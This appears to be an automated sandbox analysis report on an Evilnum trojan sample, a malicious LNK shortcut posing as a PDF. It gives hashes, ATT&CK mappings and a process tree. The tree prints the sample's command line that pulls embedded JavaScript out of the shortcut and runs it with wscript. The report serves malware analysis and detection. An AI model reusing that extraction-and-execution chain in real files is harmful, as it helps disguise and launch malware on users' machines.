evilnum | 83c375dcdadb8467955f5e124cf4e8d6eac78c51c03fb7393dc810a243ba1a90

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28/09/2024, 09:29

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General

Target

fc00819c4cdc8609313041cf345a7dca_JaffaCakes118.lnk
Size

938KB
MD5

fc00819c4cdc8609313041cf345a7dca
SHA1

3cb2d94e7a3b6d6141106e3973189e06306ce2f0
SHA256

83c375dcdadb8467955f5e124cf4e8d6eac78c51c03fb7393dc810a243ba1a90
SHA512

53b2761be2a805aa6cdc7857b70da8b25ccf0990dc1f9a6501ed73af9909db6a58667b9bcd786c9acc19309b18bc228ac02d3ebe97063b1cf6bf2362c935131c
SSDEEP

12288:HZ3Si/5CQsdRgvhS+u1vBcxqDE/4QiqkgLGVRivcLwOtIO1nKnYn/oGug+:53D5C5LgvMr1mx8y4dqLGnZn12Yngfg+

Score

10^/10

evilnum execution trojan

Malware Config

Signatures

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 2800	1984	cmd.exe	31
PID 1984 wrote to memory of 2800	1984	cmd.exe	31
PID 1984 wrote to memory of 2800	1984	cmd.exe	31
PID 2800 wrote to memory of 2868	2800	cmd.exe	32
PID 2800 wrote to memory of 2868	2800	cmd.exe	32
PID 2800 wrote to memory of 2868	2800	cmd.exe	32
PID 2800 wrote to memory of 2792	2800	cmd.exe	33
PID 2800 wrote to memory of 2792	2800	cmd.exe	33
PID 2800 wrote to memory of 2792	2800	cmd.exe	33
PID 2800 wrote to memory of 2752	2800	cmd.exe	34
PID 2800 wrote to memory of 2752	2800	cmd.exe	34
PID 2800 wrote to memory of 2752	2800	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\fc00819c4cdc8609313041cf345a7dca_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&move "VerificationDocuments.pdf.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "END2">"C:\Users\Admin\AppData\Local\Temp\0.js"&wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:2868
- - C:\Windows\system32\find.exe
    find "END2"
    3⤵
    PID:2792
- - C:\Windows\system32\wscript.exe
    wscript "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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